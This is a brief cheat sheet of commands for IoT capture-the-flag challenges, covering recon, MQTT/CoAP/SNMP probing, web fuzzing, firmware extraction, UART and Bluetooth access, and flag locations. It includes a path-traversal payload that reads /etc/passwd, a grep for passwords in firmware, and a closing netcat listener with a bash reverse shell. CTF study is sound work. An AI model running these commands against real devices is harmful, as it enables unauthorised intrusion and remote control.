IoT CTF Cheat Sheet

1. Quick Recon

nmap -sV -Pn -p- --top-ports 200

curl -I http://

nmap -sU -p 1900 --script broadcast-upnp-info

2. IoT Protocols

MQTT: mosquitto_sub -h -t "#" -v

CoAP: coap-client -m get coap:///

SNMP: snmpwalk -v2c -c public

3. Web Enumeration

ffuf -u http:///FUZZ -w wordlist -t 40

?file=../../../../etc/passwd

4. Firmware Analysis

file firmware.bin

binwalk -e firmware.bin

unsquashfs -d rootfs squashfs.img

strings firmware.bin | grep -i pass

5. Hardware/UART

sudo minicom -D /dev/ttyUSB0 -b 115200

6. Binary Analysis

file rootfs/usr/bin/*

readelf -h binary

7. Wireless

sudo hcitool lescan

bettercap -iface hci0

8. Common IoT Vulns

- Hardcoded creds
- Hidden admin URLs
- LFI/RFI
- Unauth MQTT
- SNMP public

9. Flag Locations

/root/flag

/root/flag.txt

/var/www/html/

10. Quick Exploit

nc -lvnp 4444

bash -i >& /dev/tcp//4444 0>&1